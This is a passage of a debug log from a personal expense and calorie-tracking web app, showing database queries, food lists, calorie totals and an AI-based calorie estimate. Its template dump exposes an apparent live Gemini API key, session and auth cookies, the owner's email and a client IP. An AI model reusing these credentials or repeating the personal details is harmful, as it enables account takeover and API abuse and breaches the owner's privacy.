    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T02:30:10.813Z server-connect:output item_list: []
2025-12-16T02:30:10.813Z server-connect:app Executing action step setvalue
2025-12-16T02:30:10.813Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T02:30:10.813Z server-connect:output var_total: 0
2025-12-16T02:30:10.813Z server-connect:app Executing action step setvalue
2025-12-16T02:30:10.813Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T02:30:10.813Z server-connect:output var_consumed: 0
2025-12-16T02:30:10.813Z server-connect:app Executing action step setvalue
2025-12-16T02:30:10.813Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T02:30:10.813Z server-connect:output var_deficit: 2400
2025-12-16T02:30:10.813Z server-connect:app Executing action step custom
2025-12-16T02:30:10.814Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T02:30:10.815Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  }
]
2025-12-16T02:30:24.290Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-16T02:30:24.291Z server-connect:app Executing action step identify
2025-12-16T02:30:24.291Z server-connect:app options: { provider: 'security' }
2025-12-16T02:30:24.291Z server-connect:output identity: 1
2025-12-16T02:30:24.291Z server-connect:app Executing action step restrict
2025-12-16T02:30:24.291Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T02:30:24.292Z server-connect:output restrict: undefined
2025-12-16T02:30:24.292Z server-connect:app Executing action step processWithGemini
2025-12-16T02:30:24.292Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-16T02:30:39.370Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
      quantity: 'Half cup (approx 120ml total beverage)',
      total_calories: 48,
      protein: 2.56,
      carbs: 3.84,
      fat: 2.8,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
    }
  ],
  total_macros_units: { protein: 'g', carbs: 'g', fat: 'g' },
  total_calories_all_items: 48,
  total_protein_all_items: 2.56,
  total_carbs_all_items: 3.84,
  total_fat_all_items: 2.8
}
2025-12-16T02:30:48.034Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-16T02:30:48.034Z server-connect:app Executing action step identify
2025-12-16T02:30:48.034Z server-connect:app options: { provider: 'security' }
2025-12-16T02:30:48.034Z server-connect:output identity: 1
2025-12-16T02:30:48.034Z server-connect:app Executing action step restrict
2025-12-16T02:30:48.034Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T02:30:48.035Z server-connect:output restrict: undefined
2025-12-16T02:30:48.035Z server-connect:app Executing action step condition
2025-12-16T02:30:48.035Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-16T02:30:48.035Z server-connect:app Executing action step repeat
2025-12-16T02:30:48.035Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-16T02:30:48.035Z server-connect:app Executing action step insert
2025-12-16T02:30:48.035Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-16T02:30:48.037Z server-connect:output calories: { affected: 1, identity: 402 }
2025-12-16T02:30:48.037Z server-connect:output repeat: [ {} ]
2025-12-16T02:30:48.037Z server-connect:output condition: undefined
2025-12-16T02:30:48.297Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T02:30:48.298Z server-connect:app Executing action step identify
2025-12-16T02:30:48.298Z server-connect:app options: { provider: 'security' }
2025-12-16T02:30:48.298Z server-connect:output identity: 1
2025-12-16T02:30:48.298Z server-connect:app Executing action step restrict
2025-12-16T02:30:48.298Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T02:30:48.298Z server-connect:output restrict: undefined
2025-12-16T02:30:48.298Z server-connect:router Render template layouts/main
2025-12-16T02:30:48.298Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"12b52-0d2A05mHiBW1SmaE1c2HqCHEd/k"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T02:30:49.581Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T02:30:49.582Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T02:30:49.582Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T02:30:49.582Z server-connect:app Executing action step identify
2025-12-16T02:30:49.582Z server-connect:app options: { provider: 'security' }
2025-12-16T02:30:49.583Z server-connect:output identity: 1
2025-12-16T02:30:49.583Z server-connect:app Executing action step restrict
2025-12-16T02:30:49.583Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T02:30:49.583Z server-connect:app Executing action step identify
2025-12-16T02:30:49.583Z server-connect:app options: { provider: 'security' }
2025-12-16T02:30:49.583Z server-connect:output identity: 1
2025-12-16T02:30:49.583Z server-connect:app Executing action step restrict
2025-12-16T02:30:49.583Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T02:30:49.583Z server-connect:output restrict: undefined
2025-12-16T02:30:49.584Z server-connect:app Executing action step select
2025-12-16T02:30:49.584Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T02:30:49.584Z server-connect:app Executing action step identify
2025-12-16T02:30:49.584Z server-connect:app options: { provider: 'security' }
2025-12-16T02:30:49.584Z server-connect:output identity: 1
2025-12-16T02:30:49.584Z server-connect:app Executing action step restrict
2025-12-16T02:30:49.584Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T02:30:49.585Z server-connect:output restrict: undefined
2025-12-16T02:30:49.585Z server-connect:app Executing action step single
2025-12-16T02:30:49.586Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T02:30:49.587Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T02:30:49.588Z server-connect:output restrict: undefined
2025-12-16T02:30:49.588Z server-connect:app Executing action step single
2025-12-16T02:30:49.589Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T02:30:49.590Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T02:30:49.590Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T02:30:49.591Z server-connect:app Executing action step select
2025-12-16T02:30:49.591Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T02:30:49.592Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  }
]
2025-12-16T02:30:49.592Z server-connect:app Executing action step setvalue
2025-12-16T02:30:49.592Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T02:30:49.592Z server-connect:output var_total: 48
2025-12-16T02:30:49.592Z server-connect:app Executing action step setvalue
2025-12-16T02:30:49.592Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T02:30:49.592Z server-connect:output var_consumed: 2
2025-12-16T02:30:49.592Z server-connect:app Executing action step setvalue
2025-12-16T02:30:49.592Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T02:30:49.592Z server-connect:output var_deficit: 2352
2025-12-16T02:30:49.592Z server-connect:app Executing action step custom
2025-12-16T02:30:49.592Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
